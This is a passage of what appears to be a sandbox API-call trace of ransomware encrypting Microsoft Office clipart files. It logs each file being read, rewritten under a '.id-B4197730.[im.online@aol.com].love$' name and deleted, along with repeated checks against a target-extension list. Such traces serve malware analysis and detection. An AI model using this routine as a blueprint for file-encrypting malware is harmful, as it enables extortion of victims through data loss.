lpFileSize=0x2d4ff14*=2704) returned 1 [0258.669] CloseHandle (hObject=0x3c4) returned 1 [0258.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0258.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0258.670] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.670] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0258.763] GetLastError () returned 0x0 [0258.763] ReadFile (in: hFile=0x3c4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xa90, lpOverlapped=0x0) returned 1 [0258.931] WriteFile (in: hFile=0x53c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0258.933] ReadFile (in: hFile=0x3c4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.933] WriteFile (in: hFile=0x53c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0258.933] SetEndOfFile (hFile=0x53c) returned 1 [0258.933] CloseHandle (hObject=0x53c) returned 1 [0258.933] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.933] SetEndOfFile (hFile=0x3c4) returned 1 [0258.940] CloseHandle (hObject=0x3c4) returned 1 [0258.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0258.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.943] lstrlenW (lpString=".doc") returned 4 [0258.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.943] lstrlenW (lpString=".docx") returned 5 [0258.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.943] lstrlenW (lpString=".pdf") returned 4 [0258.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.943] lstrlenW (lpString=".xls") returned 4 [0258.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.943] lstrlenW (lpString=".xlsx") returned 5 [0258.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.943] lstrlenW (lpString=".ppt") returned 4 [0258.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.943] lstrlenW (lpString=".zip") returned 4 [0258.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.943] lstrlenW (lpString=".rar") returned 4 [0258.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.943] lstrlenW (lpString=".bz2") returned 4 [0258.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString=".7z") returned 3 [0258.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.944] lstrlenW (lpString=".dbf") returned 4 [0258.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.944] lstrlenW (lpString=".1cd") returned 4 [0258.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.944] lstrlenW (lpString=".jpg") returned 4 [0258.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.944] lstrlenW (lpString=".doc") returned 4 [0258.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString=".docx") returned 5 [0258.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.944] lstrlenW (lpString=".pdf") returned 4 [0258.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.944] lstrlenW (lpString=".xls") returned 4 [0258.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.944] lstrlenW (lpString=".xlsx") returned 5 [0258.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.944] lstrlenW (lpString=".ppt") returned 4 [0258.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.945] lstrlenW (lpString=".zip") returned 4 [0258.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.945] lstrlenW (lpString=".rar") returned 4 [0258.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.945] lstrlenW (lpString=".bz2") returned 4 [0258.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.945] lstrlenW (lpString=".7z") returned 3 [0258.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.945] lstrlenW (lpString=".dbf") returned 4 [0258.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.945] lstrlenW (lpString=".1cd") returned 4 [0258.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0258.945] lstrlenW (lpString=".jpg") returned 4 [0258.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.945] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.945] lstrlenW (lpString="HH02282_.WMF") returned 12 [0258.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0259.630] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7932) returned 1 [0259.630] CloseHandle (hObject=0x418) returned 1 [0259.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0259.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0259.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.181] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.181] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.362] GetLastError () returned 0x0 [0260.362] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0260.367] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0260.368] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.368] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.369] SetEndOfFile (hFile=0x4c8) returned 1 [0260.369] CloseHandle (hObject=0x4c8) returned 1 [0260.369] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.369] SetEndOfFile (hFile=0x550) returned 1 [0260.373] CloseHandle (hObject=0x550) returned 1 [0260.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.375] lstrlenW (lpString=".doc") returned 4 [0260.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.375] lstrlenW (lpString=".docx") returned 5 [0260.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.375] lstrlenW (lpString=".pdf") returned 4 [0260.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.375] lstrlenW (lpString=".xls") returned 4 [0260.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.375] lstrlenW (lpString=".xlsx") returned 5 [0260.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.376] lstrlenW (lpString=".ppt") returned 4 [0260.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString=".zip") returned 4 [0260.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.376] lstrlenW (lpString=".rar") returned 4 [0260.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString=".bz2") returned 4 [0260.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString=".7z") returned 3 [0260.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString=".dbf") returned 4 [0260.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString=".1cd") returned 4 [0260.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString=".jpg") returned 4 [0260.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.376] lstrlenW (lpString=".doc") returned 4 [0260.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.377] lstrlenW (lpString=".docx") returned 5 [0260.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.377] lstrlenW (lpString=".pdf") returned 4 [0260.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.377] lstrlenW (lpString=".xls") returned 4 [0260.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.377] lstrlenW (lpString=".xlsx") returned 5 [0260.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.377] lstrlenW (lpString=".ppt") returned 4 [0260.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.377] lstrlenW (lpString=".zip") returned 4 [0260.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.377] lstrlenW (lpString=".rar") returned 4 [0260.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.377] lstrlenW (lpString=".bz2") returned 4 [0260.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.377] lstrlenW (lpString=".7z") returned 3 [0260.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.377] lstrlenW (lpString=".dbf") returned 4 [0260.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.378] lstrlenW (lpString=".1cd") returned 4 [0260.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0260.378] lstrlenW (lpString=".jpg") returned 4 [0260.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.378] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.378] lstrlenW (lpString="HH02312_.WMF") returned 12 [0260.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.379] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4970) returned 1 [0260.380] CloseHandle (hObject=0x550) returned 1 [0260.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0260.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.380] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.381] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.382] GetLastError () returned 0x0 [0260.382] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x136a, lpOverlapped=0x0) returned 1 [0260.409] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1370, lpOverlapped=0x0) returned 1 [0260.411] ReadFile (in: hFile=0x550, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.411] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.411] SetEndOfFile (hFile=0x4c8) returned 1 [0260.411] CloseHandle (hObject=0x4c8) returned 1 [0260.411] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.412] SetEndOfFile (hFile=0x550) returned 1 [0260.417] CloseHandle (hObject=0x550) returned 1 [0260.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0260.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.419] lstrlenW (lpString=".doc") returned 4 [0260.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.419] lstrlenW (lpString=".docx") returned 5 [0260.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.419] lstrlenW (lpString=".pdf") returned 4 [0260.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.419] lstrlenW (lpString=".xls") returned 4 [0260.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.419] lstrlenW (lpString=".xlsx") returned 5 [0260.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.419] lstrlenW (lpString=".ppt") returned 4 [0260.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString=".zip") returned 4 [0260.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.420] lstrlenW (lpString=".rar") returned 4 [0260.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString=".bz2") returned 4 [0260.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString=".7z") returned 3 [0260.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString=".dbf") returned 4 [0260.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString=".1cd") returned 4 [0260.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString=".jpg") returned 4 [0260.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.420] lstrlenW (lpString=".doc") returned 4 [0260.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.420] lstrlenW (lpString=".docx") returned 5 [0260.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.421] lstrlenW (lpString=".pdf") returned 4 [0260.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString=".xls") returned 4 [0260.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.421] lstrlenW (lpString=".xlsx") returned 5 [0260.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.421] lstrlenW (lpString=".ppt") returned 4 [0260.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.421] lstrlenW (lpString=".zip") returned 4 [0260.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.421] lstrlenW (lpString=".rar") returned 4 [0260.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString=".bz2") returned 4 [0260.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString=".7z") returned 3 [0260.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.421] lstrlenW (lpString=".dbf") returned 4 [0260.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.421] lstrlenW (lpString=".1cd") returned 4 [0260.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0260.421] lstrlenW (lpString=".jpg") returned 4 [0260.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.422] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.422] lstrlenW (lpString="HM00005_.WMF") returned 12 [0260.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.622] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23300) returned 1 [0260.622] CloseHandle (hObject=0x550) returned 1 [0260.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0260.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 